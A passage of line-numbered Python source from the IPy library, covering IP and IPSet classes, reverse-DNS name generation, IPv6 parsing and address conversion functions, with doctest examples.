same prefixlen can be added.") 578 | if self._prefixlen < 1: 579 | raise ValueError("Networks with a prefixlen longer than /1 can't be added.") 580 | if self > other: 581 | # fixed by Skinny Puppy 582 | return other.__add__(self) 583 | if other.int() - self[-1].int() != 1: 584 | raise ValueError("Only adjacent networks can be added together.") 585 | ret = IP(self.int(), ipversion=self._ipversion) 586 | ret._prefixlen = self.prefixlen() - 1 587 | if not _checkNetaddrWorksWithPrefixlen(ret.ip, ret._prefixlen, 588 | ret._ipversion): 589 | raise ValueError("The resulting %s has invalid prefix length (%s)" 590 | % (repr(ret), ret._prefixlen)) 591 | return ret 592 | 593 | def __sub__(self, other): 594 | """Return the prefixes that are in this IP but not in the other""" 595 | return _remove_subprefix(self, other) 596 | 597 | def __getitem__(self, key): 598 | """Called to implement evaluation of self[key]. 599 | 600 | >>> ip=IP('127.0.0.0/30') 601 | >>> for x in ip: 602 | ... print(repr(x)) 603 | ... 604 | IP('127.0.0.0') 605 | IP('127.0.0.1') 606 | IP('127.0.0.2') 607 | IP('127.0.0.3') 608 | >>> ip[2] 609 | IP('127.0.0.2') 610 | >>> ip[-1] 611 | IP('127.0.0.3') 612 | """ 613 | 614 | if isinstance(key, slice): 615 | return [self.ip + int(x) for x in xrange(*key.indices(len(self)))] 616 | if not isinstance(key, INT_TYPES): 617 | raise TypeError 618 | if key < 0: 619 | if abs(key) <= self.len(): 620 | key = self.len() - abs(key) 621 | else: 622 | raise IndexError 623 | else: 624 | if key >= self.len(): 625 | raise IndexError 626 | 627 | return self.ip + int(key) 628 | 629 | 630 | 631 | def __contains__(self, item): 632 | """Called to implement membership test operators. 633 | 634 | Should return true if item is in self, false otherwise. Item 635 | can be other IP-objects, strings or ints. 636 | 637 | >>> IP('195.185.1.1').strHex() 638 | '0xc3b90101' 639 | >>> 0xC3B90101 in IP('195.185.1.0/24') 640 | True 641 | >>> '127.0.0.1' in IP('127.0.0.0/24') 642 | True 643 | >>> IP('127.0.0.0/24') in IP('127.0.0.0/25') 644 | False 645 | """ 646 | 647 | if isinstance(item, IP): 648 | if item._ipversion != self._ipversion: 649 | return False 650 | else: 651 | item = IP(item) 652 | if item.ip >= self.ip and item.ip < self.ip + self.len() - item.len() + 1: 653 | return True 654 | else: 655 | return False 656 | 657 | 658 | def overlaps(self, item): 659 | """Check if two IP address ranges overlap. 660 | 661 | Returns 0 if the two ranges don't overlap, 1 if the given 662 | range overlaps at the end and -1 if it does at the beginning. 663 | 664 | >>> IP('192.168.0.0/23').overlaps('192.168.1.0/24') 665 | 1 666 | >>> IP('192.168.0.0/23').overlaps('192.168.1.255') 667 | 1 668 | >>> IP('192.168.0.0/23').overlaps('192.168.2.0') 669 | 0 670 | >>> IP('192.168.1.0/24').overlaps('192.168.0.0/23') 671 | -1 672 | """ 673 | 674 | if not isinstance(item, IP): 675 | item = IP(item) 676 | if item.ip >= self.ip and item.ip < self.ip + self.len(): 677 | return 1 678 | elif self.ip >= item.ip and self.ip < item.ip + item.len(): 679 | return -1 680 | else: 681 | return 0 682 | 683 | 684 | def __str__(self): 685 | """Dispatch to the prefered String Representation. 686 | 687 | Used to implement str(IP).""" 688 | 689 | return self.strCompressed() 690 | 691 | 692 | def __repr__(self): 693 | """Print a representation of the Object. 694 | 695 | Used to implement repr(IP). Returns a string which evaluates 696 | to an identical Object (without the wantprefixlen stuff - see 697 | module docstring. 698 | 699 | >>> print(repr(IP('10.0.0.0/24'))) 700 | IP('10.0.0.0/24') 701 | """ 702 | 703 | return("IPint('%s')" % (self.strCompressed(1))) 704 | 705 | 706 | def __cmp__(self, other): 707 | """Called by comparison operations. 708 | 709 | Should return a negative integer if self < other, zero if self 710 | == other, a positive integer if self > other. 711 | 712 | Order is first determined by the address family. IPv4 addresses 713 | are always smaller than IPv6 addresses: 714 | 715 | >>> IP('10.0.0.0') < IP('2001:db8::') 716 | 1 717 | 718 | Then the first address is compared. Lower addresses are 719 | always smaller: 720 | 721 | >>> IP('10.0.0.0') > IP('10.0.0.1') 722 | 0 723 | >>> IP('10.0.0.0/24') > IP('10.0.0.1') 724 | 0 725 | >>> IP('10.0.1.0') > IP('10.0.0.0/24') 726 | 1 727 | >>> IP('10.0.1.0/24') > IP('10.0.0.0/24') 728 | 1 729 | >>> IP('10.0.1.0/24') > IP('10.0.0.0') 730 | 1 731 | 732 | Then the prefix length is compared. Shorter prefixes are 733 | considered smaller than longer prefixes: 734 | 735 | >>> IP('10.0.0.0/24') > IP('10.0.0.0') 736 | 0 737 | >>> IP('10.0.0.0/24') > IP('10.0.0.0/25') 738 | 0 739 | >>> IP('10.0.0.0/24') > IP('10.0.0.0/23') 740 | 1 741 | 742 | """ 743 | if not isinstance(other, IPint): 744 | raise TypeError 745 | 746 | # Lower version -> lower result 747 | if self._ipversion != other._ipversion: 748 | return self._ipversion < other._ipversion and -1 or 1 749 | 750 | # Lower start address -> lower result 751 | if self.ip != other.ip: 752 | return self.ip < other.ip and -1 or 1 753 | 754 | # Shorter prefix length -> lower result 755 | if self._prefixlen != other._prefixlen: 756 | return self._prefixlen < other._prefixlen and -1 or 1 757 | 758 | # No differences found 759 | return 0 760 | 761 | def __eq__(self, other): 762 | if not isinstance(other, IPint): 763 | return False 764 | return self.__cmp__(other) == 0 765 | 766 | def __ne__(self, other): 767 | return not self.__eq__(other) 768 | 769 | def __lt__(self, other): 770 | return self.__cmp__(other) < 0 771 | 772 | def __hash__(self): 773 | """Called for the key object for dictionary operations, and by 774 | the built-in function hash(). Should return a 32-bit integer 775 | usable as a hash value for dictionary operations. The only 776 | required property is that objects which compare equal have the 777 | same hash value 778 | 779 | >>> IP('10.0.0.0/24').__hash__() 780 | -167772185 781 | """ 782 | 783 | thehash = int(-1) 784 | ip = self.ip 785 | while ip > 0: 786 | thehash = thehash ^ (ip & 0x7fffffff) 787 | ip = ip >> 32 788 | thehash = thehash ^ self._prefixlen 789 | return int(thehash) 790 | 791 | 792 | class IP(IPint): 793 | """Class for handling IP addresses and networks.""" 794 | 795 | def net(self): 796 | """Return the base (first) address of a network as an IP object. 797 | 798 | The same as IP[0]. 799 | 800 | >>> IP('10.0.0.0/8').net() 801 | IP('10.0.0.0') 802 | """ 803 | return IP(IPint.net(self), ipversion=self._ipversion) 804 | 805 | def broadcast(self): 806 | """Return the broadcast (last) address of a network as an IP object. 807 | 808 | The same as IP[-1]. 809 | 810 | >>> IP('10.0.0.0/8').broadcast() 811 | IP('10.255.255.255') 812 | """ 813 | return IP(IPint.broadcast(self)) 814 | 815 | def netmask(self): 816 | """Return netmask as an IP object. 817 | 818 | >>> IP('10.0.0.0/8').netmask() 819 | IP('255.0.0.0') 820 | """ 821 | return IP(IPint.netmask(self), ipversion=self._ipversion) 822 | 823 | def _getIPv4Map(self): 824 | if self._ipversion != 6: 825 | return None 826 | if (self.ip >> 32) != 0xffff: 827 | return None 828 | ipv4 = self.ip & MAX_IPV4_ADDRESS 829 | if self._prefixlen != 128: 830 | ipv4 = '%s/%s' % (ipv4, 32-(128-self._prefixlen)) 831 | return IP(ipv4, ipversion=4) 832 | 833 | def reverseNames(self): 834 | """Return a list with values forming the reverse lookup. 835 | 836 | >>> IP('213.221.113.87/32').reverseNames() 837 | ['87.113.221.213.in-addr.arpa.'] 838 | >>> IP('213.221.112.224/30').reverseNames() 839 | ['224.112.221.213.in-addr.arpa.', '225.112.221.213.in-addr.arpa.', '226.112.221.213.in-addr.arpa.', '227.112.221.213.in-addr.arpa.'] 840 | >>> IP('127.0.0.0/24').reverseNames() 841 | ['0.0.127.in-addr.arpa.'] 842 | >>> IP('127.0.0.0/23').reverseNames() 843 | ['0.0.127.in-addr.arpa.', '1.0.127.in-addr.arpa.'] 844 | >>> IP('127.0.0.0/16').reverseNames() 845 | ['0.127.in-addr.arpa.'] 846 | >>> IP('127.0.0.0/15').reverseNames() 847 | ['0.127.in-addr.arpa.', '1.127.in-addr.arpa.'] 848 | >>> IP('128.0.0.0/8').reverseNames() 849 | ['128.in-addr.arpa.'] 850 | >>> IP('128.0.0.0/7').reverseNames() 851 | ['128.in-addr.arpa.', '129.in-addr.arpa.'] 852 | >>> IP('::1:2').reverseNames() 853 | ['2.0.0.0.1.ip6.arpa.'] 854 | """ 855 | 856 | if self._ipversion == 4: 857 | ret = [] 858 | # TODO: Refactor. Add support for IPint objects 859 | if self.len() < 2**8: 860 | for x in self: 861 | ret.append(x.reverseName()) 862 | elif self.len() < 2**16: 863 | for i in xrange(0, self.len(), 2**8): 864 | ret.append(self[i].reverseName()[2:]) 865 | elif self.len() < 2**24: 866 | for i in xrange(0, self.len(), 2**16): 867 | ret.append(self[i].reverseName()[4:]) 868 | else: 869 | for i in xrange(0, self.len(), 2**24): 870 | ret.append(self[i].reverseName()[6:]) 871 | return ret 872 | elif self._ipversion == 6: 873 | ipv4 = self._getIPv4Map() 874 | if ipv4 is not None: 875 | return ipv4.reverseNames() 876 | s = "%x" % self.ip 877 | if self._prefixlen % 4 != 0: 878 | raise NotImplementedError("can't create IPv6 reverse names at sub nibble level") 879 | s = list(s) 880 | s.reverse() 881 | s = '.'.join(s) 882 | first_nibble_index = int(32 - (self._prefixlen // 4)) * 2 883 | return ["%s.ip6.arpa." % s[first_nibble_index:]] 884 | else: 885 | raise ValueError("only IPv4 and IPv6 supported") 886 | 887 | def reverseName(self): 888 | """Return the value for reverse lookup/PTR records as RFC 2317 look alike. 889 | 890 | RFC 2317 is an ugly hack which only works for sub-/24 e.g. not 891 | for /23. Do not use it. Better set up a zone for every 892 | address. See reverseName for a way to achieve that. 893 | 894 | >>> print(IP('195.185.1.1').reverseName()) 895 | 1.1.185.195.in-addr.arpa. 896 | >>> print(IP('195.185.1.0/28').reverseName()) 897 | 0-15.1.185.195.in-addr.arpa. 898 | >>> IP('::1:2').reverseName() 899 | '2.0.0.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa.' 900 | >>> IP('ff02::/64').reverseName() 901 | '0.0.0.0.0.0.0.0.0.0.0.0.2.0.f.f.ip6.arpa.' 902 | """ 903 | 904 | if self._ipversion == 4: 905 | s = self.strFullsize(0) 906 | s = s.split('.') 907 | s.reverse() 908 | first_byte_index = int(4 - (self._prefixlen // 8)) 909 | if self._prefixlen % 8 != 0: 910 | nibblepart = "%s-%s" % (s[3-(self._prefixlen // 8)], intToIp(self.ip + self.len() - 1, 4).split('.')[-1]) 911 | nibblepart += '.' 912 | else: 913 | nibblepart = "" 914 | 915 | s = '.'.join(s[first_byte_index:]) 916 | return "%s%s.in-addr.arpa." % (nibblepart, s) 917 | 918 | elif self._ipversion == 6: 919 | ipv4 = self._getIPv4Map() 920 | if ipv4 is not None: 921 | return ipv4.reverseName() 922 | s = '%032x' % self.ip 923 | if self._prefixlen % 4 != 0: 924 | nibblepart = "%s-%x" % (s[self._prefixlen:], self.ip + self.len() - 1) 925 | nibblepart += '.' 926 | else: 927 | nibblepart = "" 928 | s = list(s) 929 | s.reverse() 930 | s = '.'.join(s) 931 | first_nibble_index = int(32 - (self._prefixlen // 4)) * 2 932 | return "%s%s.ip6.arpa." % (nibblepart, s[first_nibble_index:]) 933 | else: 934 | raise ValueError("only IPv4 and IPv6 supported") 935 | 936 | def make_net(self, netmask): 937 | """Transform a single IP address into a network specification by 938 | applying the given netmask. 939 | 940 | Returns a new IP instance. 941 | 942 | >>> print(IP('127.0.0.1').make_net('255.0.0.0')) 943 | 127.0.0.0/8 944 | """ 945 | if '/' in str(netmask): 946 | raise ValueError("invalid netmask (%s)" % netmask) 947 | return IP('%s/%s' % (self, netmask), make_net=True) 948 | 949 | def __getitem__(self, key): 950 | """Called to implement evaluation of self[key]. 951 | 952 | >>> ip=IP('127.0.0.0/30') 953 | >>> for x in ip: 954 | ... print(str(x)) 955 | ... 956 | 127.0.0.0 957 | 127.0.0.1 958 | 127.0.0.2 959 | 127.0.0.3 960 | >>> print(str(ip[2])) 961 | 127.0.0.2 962 | >>> print(str(ip[-1])) 963 | 127.0.0.3 964 | """ 965 | if isinstance(key, slice): 966 | return [IP(IPint.__getitem__(self, x), ipversion=self._ipversion) for x in xrange(*key.indices(len(self)))] 967 | return IP(IPint.__getitem__(self, key), ipversion=self._ipversion) 968 | 969 | def __repr__(self): 970 | """Print a representation of the Object. 971 | 972 | >>> IP('10.0.0.0/8') 973 | IP('10.0.0.0/8') 974 | """ 975 | 976 | return("IP('%s')" % (self.strCompressed(1))) 977 | 978 | def get_mac(self): 979 | """ 980 | Get the 802.3 MAC address from IPv6 RFC 2464 address, in lower case. 981 | Return None if the address is an IPv4 or not a IPv6 RFC 2464 address. 982 | 983 | >>> IP('fe80::f66d:04ff:fe47:2fae').get_mac() 984 | 'f4:6d:04:47:2f:ae' 985 | """ 986 | if self._ipversion != 6: 987 | return None 988 | if (self.ip & 0x20000ffff000000) != 0x20000fffe000000: 989 | return None 990 | return '%02x:%02x:%02x:%02x:%02x:%02x' % ( 991 | (((self.ip >> 56) & 0xff) & 0xfd), 992 | (self.ip >> 48) & 0xff, 993 | (self.ip >> 40) & 0xff, 994 | (self.ip >> 16) & 0xff, 995 | (self.ip >> 8) & 0xff, 996 | self.ip & 0xff, 997 | ) 998 | 999 | def v46map(self): 1000 | """ 1001 | Returns the IPv6 mapped address of an IPv4 address, or the corresponding 1002 | IPv4 address if the IPv6 address is in the appropriate range. 1003 | Raises a ValueError if the IPv6 address is not translatable. See RFC 4291. 1004 | 1005 | >>> IP('192.168.1.1').v46map() 1006 | IP('::ffff:192.168.1.1') 1007 | >>> IP('::ffff:192.168.1.1').v46map() 1008 | IP('192.168.1.1') 1009 | """ 1010 | if self._ipversion == 4: 1011 | return IP(str(IPV6_MAP_MASK + self.ip) + 1012 | "/%s" % (self._prefixlen + 96)) 1013 | else: 1014 | if self.ip & IPV6_TEST_MAP == IPV6_MAP_MASK: 1015 | return IP(str(self.ip - IPV6_MAP_MASK) + 1016 | "/%s" % (self._prefixlen - 96)) 1017 | raise ValueError("%s cannot be converted to an IPv4 address." 1018 | % repr(self)) 1019 | 1020 | class IPSet(collections.MutableSet): 1021 | def __init__(self, iterable=[]): 1022 | # Make sure it's iterable, otherwise wrap 1023 | if not isinstance(iterable, collections.Iterable): 1024 | raise TypeError("'%s' object is not iterable" % type(iterable).__name__) 1025 | 1026 | # Make sure we only accept IP objects 1027 | for prefix in iterable: 1028 | if not isinstance(prefix, IP): 1029 | raise ValueError('Only IP objects can be added to an IPSet') 1030 | 1031 | # Store and optimize 1032 | self.prefixes = iterable[:] 1033 | self.optimize() 1034 | 1035 | def __contains__(self, ip): 1036 | valid_masks = self.prefixtable.keys() 1037 | if isinstance(ip, IP): 1038 | #Don't dig through more-specific ranges 1039 | ip_mask = ip._prefixlen 1040 | valid_masks = [x for x in valid_masks if x <= ip_mask] 1041 | for mask in sorted(valid_masks): 1042 | i = bisect.bisect(self.prefixtable[mask], ip) 1043 | # Because of sorting order, a match can only occur in the prefix 1044 | # that comes before the result of the search. 1045 | if i and ip in self.prefixtable[mask][i - 1]: 1046 | return True 1047 | 1048 | def __iter__(self): 1049 | for prefix in self.prefixes: 1050 | yield prefix 1051 | 1052 | def __len__(self): 1053 | return self.len() 1054 | 1055 | def __add__(self, other): 1056 | return IPSet(self.prefixes + other.prefixes) 1057 | 1058 | def __sub__(self, other): 1059 | new = IPSet(self.prefixes) 1060 | for prefix in other: 1061 | new.discard(prefix) 1062 | return new 1063 | 1064 | def __and__(self, other): 1065 | left = iter(self.prefixes) 1066 | right = iter(other.prefixes) 1067 | result = [] 1068 | try: 1069 | l = next(left) 1070 | r = next(right) 1071 | while True: 1072 | # iterate over prefixes in order, keeping the smaller of the 1073 | # two if they overlap 1074 | if l in r: 1075 | result.append(l) 1076 | l = next(left) 1077 | continue 1078 | elif r in l: 1079 | result.append(r) 1080 | r = next(right) 1081 | continue 1082 | if l < r: 1083 | l = next(left) 1084 | else: 1085 | r = next(right) 1086 | except StopIteration: 1087 | return IPSet(result) 1088 | 1089 | def __repr__(self): 1090 | return '%s([' % self.__class__.__name__ + ', '.join(map(repr, self.prefixes)) + '])' 1091 | 1092 | def len(self): 1093 | return sum(prefix.len() for prefix in self.prefixes) 1094 | 1095 | def add(self, value): 1096 | # Make sure it's iterable, otherwise wrap 1097 | if not isinstance(value, collections.Iterable): 1098 | value = [value] 1099 | 1100 | # Check type 1101 | for prefix in value: 1102 | if not isinstance(prefix, IP): 1103 | raise ValueError('Only IP objects can be added to an IPSet') 1104 | 1105 | # Append and optimize 1106 | self.prefixes.extend(value) 1107 | self.optimize() 1108 | 1109 | def discard(self, value): 1110 | # Make sure it's iterable, otherwise wrap 1111 | if not isinstance(value, collections.Iterable): 1112 | value = [value] 1113 | 1114 | # This is much faster than iterating over the addresses 1115 | if isinstance(value, IPSet): 1116 | value = value.prefixes 1117 | 1118 | # Remove 1119 | for del_prefix in value: 1120 | if not isinstance(del_prefix, IP): 1121 | raise ValueError('Only IP objects can be removed from an IPSet') 1122 | 1123 | # First check if this prefix contains anything in our list 1124 | found = False 1125 | d = 0 1126 | for i in range(len(self.prefixes)): 1127 | if self.prefixes[i - d] in del_prefix: 1128 | self.prefixes.pop(i - d) 1129 | d = d + 1 1130 | found = True 1131 | 1132 | if found: 1133 | # If the prefix was bigger than an existing prefix, then it's 1134 | # certainly not a subset of one, so skip the rest 1135 | continue 1136 | 1137 | # Maybe one of our prefixes contains this prefix 1138 | found = False 1139 | for i in range(len(self.prefixes)): 1140 | if del_prefix in self.prefixes[i]: 1141 | self.prefixes[i:i+1] = self.prefixes[i] - del_prefix 1142 | break 1143 | 1144 | self.optimize() 1145 | 1146 | def isdisjoint(self, other): 1147 | left = iter(self.prefixes) 1148 | right = iter(other.prefixes) 1149 | try: 1150 | l = next(left) 1151 | r = next(right) 1152 | while True: 1153 | if l in r or r in l: 1154 | return False 1155 | if l < r: 1156 | l = next(left) 1157 | else: 1158 | r = next(right) 1159 | except StopIteration: 1160 | return True 1161 | 1162 | def optimize(self): 1163 | # The algorithm below *depends* on the sort order 1164 | self.prefixes.sort() 1165 | 1166 | # First eliminate all values that are a subset of other values 1167 | addrlen = len(self.prefixes) 1168 | i = 0 1169 | while i < addrlen: 1170 | # Everything that might be inside this prefix follows 1171 | # directly behind it 1172 | j = i+1 1173 | while j < addrlen and self.prefixes[j] in self.prefixes[i]: 1174 | # Mark for deletion by overwriting with None 1175 | self.prefixes[j] = None 1176 | j += 1 1177 | 1178 | # Continue where we left off 1179 | i = j 1180 | 1181 | # Try to merge as many prefixes as possible 1182 | run_again = True 1183 | while run_again: 1184 | # Filter None values. This happens when a subset is eliminated 1185 | # above, or when two prefixes are merged below 1186 | self.prefixes = [a for a in self.prefixes if a is not None] 1187 | 1188 | # We'll set run_again to True when we make changes that require 1189 | # re-evaluation of the whole list 1190 | run_again = False 1191 | 1192 | # We can merge two prefixes that have the same version, same 1193 | # prefix length and differ only on the last bit of the prefix 1194 | addrlen = len(self.prefixes) 1195 | i = 0 1196 | while i < addrlen-1: 1197 | j = i + 1 1198 | 1199 | try: 1200 | # The next line will throw an exception when merging 1201 | # is not possible 1202 | self.prefixes[i] += self.prefixes[j] 1203 | self.prefixes[j] = None 1204 | i = j + 1 1205 | run_again = True 1206 | except ValueError: 1207 | # Can't be merged, see if position j can be merged 1208 | i = j 1209 | 1210 | # O(n) insertion now by prefix means faster searching on __contains__ 1211 | # when lots of ranges with the same length exist 1212 | self.prefixtable = {} 1213 | for address in self.prefixes: 1214 | try: 1215 | self.prefixtable[address._prefixlen].append(address) 1216 | except KeyError: 1217 | self.prefixtable[address._prefixlen] = [address] 1218 | 1219 | def _parseAddressIPv6(ipstr): 1220 | """ 1221 | Internal function used by parseAddress() to parse IPv6 address with ':'. 1222 | 1223 | >>> print(_parseAddressIPv6('::')) 1224 | 0 1225 | >>> print(_parseAddressIPv6('::1')) 1226 | 1 1227 | >>> print(_parseAddressIPv6('0:0:0:0:0:0:0:1')) 1228 | 1 1229 | >>> print(_parseAddressIPv6('0:0:0::0:0:1')) 1230 | 1 1231 | >>> print(_parseAddressIPv6('0:0:0:0:0:0:0:0')) 1232 | 0 1233 | >>> print(_parseAddressIPv6('0:0:0::0:0:0')) 1234 | 0 1235 | 1236 | >>> print(_parseAddressIPv6('FEDC:BA98:7654:3210:FEDC:BA98:7654:3210')) 1237 | 338770000845734292534325025077361652240 1238 | >>> print(_parseAddressIPv6('1080:0000:0000:0000:0008:0800:200C:417A')) 1239 | 21932261930451111902915077091070067066 1240 | >>> print(_parseAddressIPv6('1080:0:0:0:8:800:200C:417A')) 1241 | 21932261930451111902915077091070067066 1242 | >>> print(_parseAddressIPv6('1080:0::8:800:200C:417A')) 1243 | 21932261930451111902915077091070067066 1244 | >>> print(_parseAddressIPv6('1080::8:800:200C:417A')) 1245 | 21932261930451111902915077091070067066 1246 | >>> print(_parseAddressIPv6('FF01:0:0:0:0:0:0:43')) 1247 | 338958331222012082418099330867817087043 1248 | >>> print(_parseAddressIPv6('FF01:0:0::0:0:43')) 1249 | 338958331222012082418099330867817087043 1250 | >>> print(_parseAddressIPv6('FF01::43')) 1251 | 338958331222012082418099330867817087043 1252 | >>> print(_parseAddressIPv6('0:0:0:0:0:0:13.1.68.3')) 1253 | 218186755 1254 | >>> print(_parseAddressIPv6('::13.1.68.3')) 1255 | 218186755 1256 | >>> print(_parseAddressIPv6('0:0:0:0:0:FFFF:129.144.52.38')) 1257 | 281472855454758 1258 | >>> print(_parseAddressIPv6('::FFFF:129.144.52.38')) 1259 | 281472855454758 1260 | >>> print(_parseAddressIPv6('1080:0:0:0:8:800:200C:417A')) 1261 | 21932261930451111902915077091070067066 1262 | >>> print(_parseAddressIPv6('1080::8:800:200C:417A')) 1263 | 21932261930451111902915077091070067066 1264 | >>> print(_parseAddressIPv6('::1:2:3:4:5:6')) 1265 | 1208962713947218704138246 1266 | >>> print(_parseAddressIPv6('1:2:3:4:5:6::')) 1267 | 5192455318486707404433266432802816 1268 | """ 1269 | 1270 | # Split string into a list, example: 1271 | # '1080:200C::417A' => ['1080', '200C', '417A'] and fill_pos=2 1272 | # and fill_pos is the position of '::' in the list 1273 | items = [] 1274 | index = 0 1275 | fill_pos = None 1276 | while index < len(ipstr): 1277 | text = ipstr[index:] 1278 | if text.startswith("::"): 1279 | if fill_pos is not None: 1280 | # Invalid IPv6, eg. '1::2::' 1281 | raise ValueError("%r: Invalid IPv6 address: more than one '::'" % ipstr) 1282 | fill_pos = len(items) 1283 | index += 2 1284 | continue 1285 | pos = text.find(':') 1286 | if pos == 0: 1287 | # Invalid IPv6, eg. '1::2:' 1288 | raise ValueError("%r: Invalid IPv6 address" % ipstr) 1289 | if pos != -1: 1290 | items.append(text[:pos]) 1291 | if text[pos:pos+2] == "::": 1292 | index += pos 1293 | else: 1294 | index += pos+1 1295 | 1296 | if index == len(ipstr): 1297 | # Invalid IPv6, eg. '1::2:' 1298 | raise ValueError("%r: Invalid IPv6 address" % ipstr) 1299 | else: 1300 | items.append(text) 1301 | break 1302 | 1303 | if items and '.' in items[-1]: 1304 | # IPv6 ending with IPv4 like '::ffff:192.168.0.1' 1305 | if (fill_pos is not None) and not (fill_pos <= len(items)-1): 1306 | # Invalid IPv6: 'ffff:192.168.0.1::' 1307 | raise ValueError("%r: Invalid IPv6 address: '::' after IPv4" % ipstr) 1308 | value = parseAddress(items[-1])[0] 1309 | items = items[:-1] + ["%04x" % (value >> 16), "%04x" % (value & 0xffff)] 1310 | 1311 | # Expand fill_pos to fill with '0' 1312 | # ['1','2'] with fill_pos=1 => ['1', '0', '0', '0', '0', '0', '0', '2'] 1313 | if fill_pos is not None: 1314 | diff = 8 - len(items) 1315 | if diff <= 0: 1316 | raise ValueError("%r: Invalid IPv6 address: '::' is not needed" % ipstr) 1317 | items = items[:fill_pos] + ['0']*diff + items[fill_pos:] 1318 | 1319 | # Here we have a list of 8 strings 1320 | if len(items) != 8: 1321 | # Invalid IPv6, eg. '1:2:3' 1322 | raise ValueError("%r: Invalid IPv6 address: should have 8 hextets" % ipstr) 1323 | 1324 | # Convert strings to long integer 1325 | value = 0 1326 | index = 0 1327 | for item in items: 1328 | try: 1329 | item = int(item, 16) 1330 | error = not(0 <= item <= 0xffff) 1331 | except ValueError: 1332 | error = True 1333 | if error: 1334 | raise ValueError("%r: Invalid IPv6 address: invalid hexlet %r" % (ipstr, item)) 1335 | value = (value << 16) + item 1336 | index += 1 1337 | return value 1338 | 1339 | def parseAddress(ipstr): 1340 | """ 1341 | Parse a string and return the corresponding IP address (as integer) 1342 | and a guess of the IP version. 1343 | 1344 | Following address formats are recognized: 1345 | 1346 | >>> def testParseAddress(address): 1347 | ... ip, version = parseAddress(address) 1348 | ... print(("%s (IPv%s)" % (ip, version))) 1349 | ... 1350 | >>> testParseAddress('0x0123456789abcdef') # IPv4 if <= 0xffffffff else IPv6 1351 | 81985529216486895 (IPv6) 1352 | >>> testParseAddress('123.123.123.123') # IPv4 1353 | 2071690107 (IPv4) 1354 | >>> testParseAddress('123.123') # 0-padded IPv4 1355 | 2071658496 (IPv4) 1356 | >>> testParseAddress('127') 1357 | 2130706432 (IPv4) 1358 | >>> testParseAddress('255') 1359 | 4278190080 (IPv4) 1360 | >>> testParseAddress('256') 1361 | 256 (IPv4) 1362 | >>> testParseAddress('108000000000000000080800200C417A') 1363 | 21932261930451111902915077091070067066 (IPv6) 1364 | >>> testParseAddress('0x108000000000000000080800200C417A') 1365 | 21932261930451111902915077091070067066 (IPv6) 1366 | >>> testParseAddress('1080:0000:0000:0000:0008:0800:200C:417A') 1367 | 21932261930451111902915077091070067066 (IPv6) 1368 | >>> testParseAddress('1080:0:0:0:8:800:200C:417A') 1369 | 21932261930451111902915077091070067066 (IPv6) 1370 | >>> testParseAddress('1080:0::8:800:200C:417A') 1371 | 21932261930451111902915077091070067066 (IPv6) 1372 | >>> testParseAddress('::1') 1373 | 1 (IPv6) 1374 | >>> testParseAddress('::') 1375 | 0 (IPv6) 1376 | >>> testParseAddress('0:0:0:0:0:FFFF:129.144.52.38') 1377 | 281472855454758 (IPv6) 1378 | >>> testParseAddress('::13.1.68.3') 1379 | 218186755 (IPv6) 1380 | >>> testParseAddress('::FFFF:129.144.52.38') 1381 | 281472855454758 (IPv6) 1382 | """ 1383 | 1384 | try: 1385 | hexval = int(ipstr, 16) 1386 | except ValueError: 1387 | hexval = None 1388 | try: 1389 | intval = int(ipstr, 10) 1390 | except ValueError: 1391 | intval = None 1392 | 1393 | if ipstr.startswith('0x') and hexval is not None: 1394 | if hexval > MAX_IPV6_ADDRESS: 1395 | raise ValueError("IP Address can't be larger than %x: %x" % (MAX_IPV6_ADDRESS, hexval)) 1396 | if hexval <= MAX_IPV4_ADDRESS: 1397 | return (hexval, 4) 1398 | else: 1399 | return (hexval, 6) 1400 | 1401 | if ipstr.find(':') != -1: 1402 | return (_parseAddressIPv6(ipstr), 6) 1403 | 1404 | elif len(ipstr) == 32 and hexval is not None: 1405 | # assume IPv6 in pure hexadecimal notation 1406 | return (hexval, 6) 1407 | 1408 | elif ipstr.find('.') != -1 or (intval is not None and intval < 256): 1409 | # assume IPv4 ('127' gets interpreted as '127.0.0.0') 1410 | bytes = ipstr.split('.') 1411 | if len(bytes) > 4: 1412 | raise ValueError("IPv4 Address with more than 4 bytes") 1413 | bytes += ['0'] * (4 - len(bytes)) 1414 | bytes = [int(x) for x in bytes] 1415 | for x in bytes: 1416 | if x > 255 or x < 0: 1417 | raise ValueError("%r: single byte must be 0 <= byte < 256" % (ipstr)) 1418 | return ((bytes[0] << 24) + (bytes[1] << 16) + (bytes[2] << 8) + bytes[3], 4) 1419 | 1420 | elif intval is not None: 1421 | # we try to interprete it as a decimal digit - 1422 | # this ony works for numbers > 255 ... others 1423 | # will be interpreted as IPv4 first byte 1424 | if intval > MAX_IPV6_ADDRESS: 1425 | raise ValueError("IP Address can't be larger than %x: %x" % (MAX_IPV6_ADDRESS, intval)) 1426 | if intval <= MAX_IPV4_ADDRESS: 1427 | return (intval, 4) 1428 | else: 1429 | return (intval, 6) 1430 | 1431 | raise ValueError("IP Address format was invalid: %s" % ipstr) 1432 | 1433 | 1434 | def intToIp(ip, version): 1435 | """Transform an integer string into an IP address.""" 1436 | 1437 | # just to be sure and hoping for Python 2.2 1438 | ip = int(ip) 1439 | 1440 | if ip < 0: 1441 | raise ValueError("IPs can't be negative: %d" % (ip)) 1442 | 1443 | ret = '' 1444 | if version == 4: 1445 | if ip > MAX_IPV4_ADDRESS: 1446 | raise ValueError("IPv4 Address can't be larger than %x: %x" % (MAX_IPV4_ADDRESS, ip)) 1447 | for l in xrange(4): 1448 | ret = str(ip & 0xff) + '.' + ret 1449 | ip = ip >> 8 1450 | ret = ret[:-1] 1451 | elif version == 6: 1452 | if ip > MAX_IPV6_ADDRESS: 1453 | raise ValueError("IPv6 Address can't be larger than %x: %x" % (MAX_IPV6_ADDRESS, ip)) 1454 | l = "%032x" % ip 1455 | for x in xrange(1, 33): 1456 | ret = l[-x] + ret 1457 | if x % 4 == 0: 1458 | ret = ':' + ret 1459 | ret = ret[1:] 1460 | else: 1461 | raise ValueError("only IPv4 and IPv6 supported") 1462 | 1463 | return ret 1464 | 1465 | def _ipVersionToLen(version): 1466 | """Return number of bits in address for a certain IP version. 1467 | 1468 | >>> _ipVersionToLen(4) 1469 | 32 1470 | >>> _ipVersionToLen(6) 1471 | 128 1472 | >>> _ipVersionToLen(5) 1473 | Traceback (most recent call last): 1474 | File "", line 1, in ? 1475 | File "IPy.py", line 1076, in _ipVersionToLen 1476 | raise ValueError("only IPv4 and IPv6 supported") 1477 | ValueError: only IPv4 and IPv6 supported 1478 | """ 1479 | 1480 | if version == 4: 1481 | return 32 1482 